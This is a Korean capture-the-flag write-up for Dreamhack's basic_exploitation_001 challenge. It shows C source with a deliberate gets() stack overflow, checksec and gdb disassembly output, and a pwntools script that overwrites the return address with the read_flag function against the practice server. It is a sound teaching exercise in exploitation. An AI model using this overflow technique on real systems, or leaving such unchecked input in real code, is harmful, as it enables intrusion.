code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
checksec
결과
- 32bit 프로그램
- NX 말고 다른 보호기법은 걸려있지 않다. 코드 영역에서 실행이 불가능해졌다.
gdb
결과
pwndbg> disass main
Dump of assembler code for function main:
0x080485cc <+0>: push ebp
0x080485cd <+1>: mov ebp,esp
0x080485cf <+3>: add esp,0xffffff80
0x080485d2 <+6>: call 0x8048572 <initialize>
0x080485d7 <+11>: lea eax,[ebp-0x80]
0x080485da <+14>: push eax
0x080485db <+15>: call 0x80483d0 <gets@plt>
0x080485e0 <+20>: add esp,0x4
0x080485e3 <+23>: mov eax,0x0
0x080485e8 <+28>: leave
0x080485e9 <+29>: ret
End of assembler dump.
- buf:
[ebp-0x80]
- SFP:
[ebp]
- RET:
[ebp+0x4]
exploit.py
buf
를 overflow하게 입력받아서 return address
를 read_flag
함수로 바꾼다.
from pwn import *
p = remote('host3.dreamhack.games', 16810)
e = ELF('./basic_exploitation_001')
read_flag = e.symbols['read_flag']
buf = b'A' * 0x80 # buf
buf += b'A' * 0x4 # SFP
buf += p32(read_flag) # RET
p.sendline(buf)
p.interactive()